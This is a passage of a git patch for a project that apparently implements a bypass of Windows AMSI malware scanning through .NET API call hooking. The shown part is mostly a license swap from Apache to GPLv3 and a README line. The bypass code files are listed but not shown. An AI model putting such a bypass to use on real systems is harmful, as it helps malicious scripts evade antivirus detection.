From a0b7908026f3b7092ee30e4a764d8b23bb73e93b Mon Sep 17 00:00:00 2001 From: unknown Date: Sun, 13 Nov 2022 18:58:17 -0800 Subject: [PATCH] Updated AMSI bypass for publication. --- LICENSE | 811 ++++++++++++++---- README.md | 3 +- src/AmsiBypassManagedApiCallHooking.sln | 31 + .../AmsiBypassManagedApiCallHooking.csproj | 47 + .../Methods.cs | 81 ++ .../Properties/AssemblyInfo.cs | 36 + .../System.Management.Automation.dll | Bin 0 -> 176128 bytes src/PowerShell/BypassAddType.ps1 | 85 ++ src/PowerShell/BypassReflectivelyLoaded.ps1 | 2 + src/UnitTests/AmsiBypassTests.cs | 51 ++ src/UnitTests/Properties/AssemblyInfo.cs | 20 + src/UnitTests/UnitTests.csproj | 75 ++ src/UnitTests/packages.config | 5 + 13 files changed, 1077 insertions(+), 170 deletions(-) create mode 100644 src/AmsiBypassManagedApiCallHooking.sln create mode 100644 src/AmsiBypassManagedApiCallHooking/AmsiBypassManagedApiCallHooking.csproj create mode 100644 src/AmsiBypassManagedApiCallHooking/Methods.cs create mode 100644 src/AmsiBypassManagedApiCallHooking/Properties/AssemblyInfo.cs create mode 100644 src/Dependencies/System.Management.Automation.dll create mode 100644 src/PowerShell/BypassAddType.ps1 create mode 100644 src/PowerShell/BypassReflectivelyLoaded.ps1 create mode 100644 src/UnitTests/AmsiBypassTests.cs create mode 100644 src/UnitTests/Properties/AssemblyInfo.cs create mode 100644 src/UnitTests/UnitTests.csproj create mode 100644 src/UnitTests/packages.config diff --git a/LICENSE b/LICENSE index 261eeb9..f288702 100644 --- a/LICENSE +++ b/LICENSE @@ -1,201 +1,674 @@ - Apache License - Version 2.0, January 2004 - http://www.apache.org/licenses/ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 - TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. - 1. Definitions. + Preamble - "License" shall mean the terms and conditions for use, reproduction, - and distribution as defined by Sections 1 through 9 of this document. + The GNU General Public License is a free, copyleft license for +software and other kinds of works. - "Licensor" shall mean the copyright owner or entity authorized by - the copyright owner that is granting the License. + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. - "Legal Entity" shall mean the union of the acting entity and all - other entities that control, are controlled by, or are under common - control with that entity. For the purposes of this definition, - "control" means (i) the power, direct or indirect, to cause the - direction or management of such entity, whether by contract or - otherwise, or (ii) ownership of fifty percent (50%) or more of the - outstanding shares, or (iii) beneficial ownership of such entity. + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. - "You" (or "Your") shall mean an individual or Legal Entity - exercising permissions granted by this License. + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. - "Source" form shall mean the preferred form for making modifications, - including but not limited to software source code, documentation - source, and configuration files. + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. - "Object" form shall mean any form resulting from mechanical - transformation or translation of a Source form, including but - not limited to compiled object code, generated documentation, - and conversions to other media types. + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. - "Work" shall mean the work of authorship, whether in Source or - Object form, made available under the License, as indicated by a - copyright notice that is included in or attached to the work - (an example is provided in the Appendix below). + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. - "Derivative Works" shall mean any work, whether in Source or Object - form, that is based on (or derived from) the Work and for which the - editorial revisions, annotations, elaborations, or other modifications - represent, as a whole, an original work of authorship. For the purposes - of this License, Derivative Works shall not include works that remain - separable from, or merely link (or bind by name) to the interfaces of, - the Work and Derivative Works thereof. + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. - "Contribution" shall mean any work of authorship, including - the original version of the Work and any modifications or additions - to that Work or Derivative Works thereof, that is intentionally - submitted to Licensor for inclusion in the Work by the copyright owner - or by an individual or Legal Entity authorized to submit on behalf of - the copyright owner. For the purposes of this definition, "submitted" - means any form of electronic, verbal, or written communication sent - to the Licensor or its representatives, including but not limited to - communication on electronic mailing lists, source code control systems, - and issue tracking systems that are managed by, or on behalf of, the - Licensor for the purpose of discussing and improving the Work, but - excluding communication that is conspicuously marked or otherwise - designated in writing by the copyright owner as "Not a Contribution." + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. - "Contributor" shall mean Licensor and any individual or Legal Entity - on behalf of whom a Contribution has been received by Licensor and - subsequently incorporated within the Work. + The precise terms and conditions for copying, distribution and +modification follow. - 2. Grant of Copyright License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - copyright license to reproduce, prepare Derivative Works of, - publicly display, publicly perform, sublicense, and distribute the - Work and such Derivative Works in Source or Object form. + TERMS AND CONDITIONS - 3. Grant of Patent License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - (except as stated in this section) patent license to make, have made, - use, offer to sell, sell, import, and otherwise transfer the Work, - where such license applies only to those patent claims licensable - by such Contributor that are necessarily infringed by their - Contribution(s) alone or by combination of their Contribution(s) - with the Work to which such Contribution(s) was submitted. If You - institute patent litigation against any entity (including a - cross-claim or counterclaim in a lawsuit) alleging that the Work - or a Contribution incorporated within the Work constitutes direct - or contributory patent infringement, then any patent licenses - granted to You under this License for that Work shall terminate - as of the date such litigation is filed. + 0. Definitions. - 4. Redistribution. You may reproduce and distribute copies of the - Work or Derivative Works thereof in any medium, with or without - modifications, and in Source or Object form, provided that You - meet the following conditions: + "This License" refers to version 3 of the GNU General Public License. - (a) You must give any other recipients of the Work or - Derivative Works a copy of this License; and + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. - (b) You must cause any modified files to carry prominent notices - stating that You changed the files; and + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. - (c) You must retain, in the Source form of any Derivative Works - that You distribute, all copyright, patent, trademark, and - attribution notices from the Source form of the Work, - excluding those notices that do not pertain to any part of - the Derivative Works; and + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. - (d) If the Work includes a "NOTICE" text file as part of its - distribution, then any Derivative Works that You distribute must - include a readable copy of the attribution notices contained - within such NOTICE file, excluding those notices that do not - pertain to any part of the Derivative Works, in at least one - of the following places: within a NOTICE text file distributed - as part of the Derivative Works; within the Source form or - documentation, if provided along with the Derivative Works; or, - within a display generated by the Derivative Works, if and - wherever such third-party notices normally appear. The contents - of the NOTICE file are for informational purposes only and - do not modify the License. You may add Your own attribution - notices within Derivative Works that You distribute, alongside - or as an addendum to the NOTICE text from the Work, provided - that such additional attribution notices cannot be construed - as modifying the License. + A "covered work" means either the unmodified Program or a work based +on the Program. - You may add Your own copyright statement to Your modifications and - may provide additional or different license terms and conditions - for use, reproduction, or distribution of Your modifications, or - for any such Derivative Works as a whole, provided Your use, - reproduction, and distribution of the Work otherwise complies with - the conditions stated in this License. + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. - 5. Submission of Contributions. Unless You explicitly state otherwise, - any Contribution intentionally submitted for inclusion in the Work - by You to the Licensor shall be under the terms and conditions of - this License, without any additional terms or conditions. - Notwithstanding the above, nothing herein shall supersede or modify - the terms of any separate license agreement you may have executed - with Licensor regarding such Contributions. + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. - 6. Trademarks. This License does not grant permission to use the trade - names, trademarks, service marks, or product names of the Licensor, - except as required for reasonable and customary use in describing the - origin of the Work and reproducing the content of the NOTICE file. + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. - 7. Disclaimer of Warranty. Unless required by applicable law or - agreed to in writing, Licensor provides the Work (and each - Contributor provides its Contributions) on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or - implied, including, without limitation, any warranties or conditions - of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A - PARTICULAR PURPOSE. You are solely responsible for determining the - appropriateness of using or redistributing the Work and assume any - risks associated with Your exercise of permissions under this License. + 1. Source Code. - 8. Limitation of Liability. In no event and under no legal theory, - whether in tort (including negligence), contract, or otherwise, - unless required by applicable law (such as deliberate and grossly - negligent acts) or agreed to in writing, shall any Contributor be - liable to You for damages, including any direct, indirect, special, - incidental, or consequential damages of any character arising as a - result of this License or out of the use or inability to use the - Work (including but not limited to damages for loss of goodwill, - work stoppage, computer failure or malfunction, or any and all - other commercial damages or losses), even if such Contributor - has been advised of the possibility of such damages. + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. - 9. Accepting Warranty or Additional Liability. While redistributing - the Work or Derivative Works thereof, You may choose to offer, - and charge a fee for, acceptance of support, warranty, indemnity, - or other liability obligations and/or rights consistent with this - License. However, in accepting such obligations, You may act only - on Your own behalf and on Your sole responsibility, not on behalf - of any other Contributor, and only if You agree to indemnify, - defend, and hold each Contributor harmless for any liability - incurred by, or claims asserted against, such Contributor by reason - of your accepting any such warranty or additional liability. + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. - END OF TERMS AND CONDITIONS + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. - APPENDIX: How to apply the Apache License to your work. + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. - To apply the Apache License to your work, attach the following - boilerplate notice, with the fields enclosed by brackets "[]" - replaced with your own identifying information. (Don't include - the brackets!) The text should be enclosed in the appropriate - comment syntax for the file format. We also recommend that a - file or class name and description of purpose be included on the - same "printed page" as the copyright notice for easier - identification within third-party archives. + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. - Copyright [yyyy] [name of copyright owner] + The Corresponding Source for a work in source code form is that +same work. - Licensed under the Apache License, Version 2.0 (the "License"); - you may not use this file except in compliance with the License. - You may obtain a copy of the License at + 2. Basic Permissions. - http://www.apache.org/licenses/LICENSE-2.0 + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. - Unless required by applicable law or agreed to in writing, software - distributed under the License is distributed on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - See the License for the specific language governing permissions and - limitations under the License. + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + Copyright (C) + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. diff --git a/README.md b/README.md index d7b36dc..b7d5a42 100644 --- a/README.md +++ b/README.md @@ -1,2 +1,3 @@ # AmsiBypassHookManagedAPI -A new AMSI Bypass technique using .NET ALI Call Hooking. + +A new AMSI Bypass technique using .NET API Call Hooking. diff --git a/src/AmsiBypassManagedApiCallHooking.sln b/src/AmsiBypassManagedApiCallHooking.sln new file mode 100644 index 0000000..a09d3e1 --- /dev/null +++ 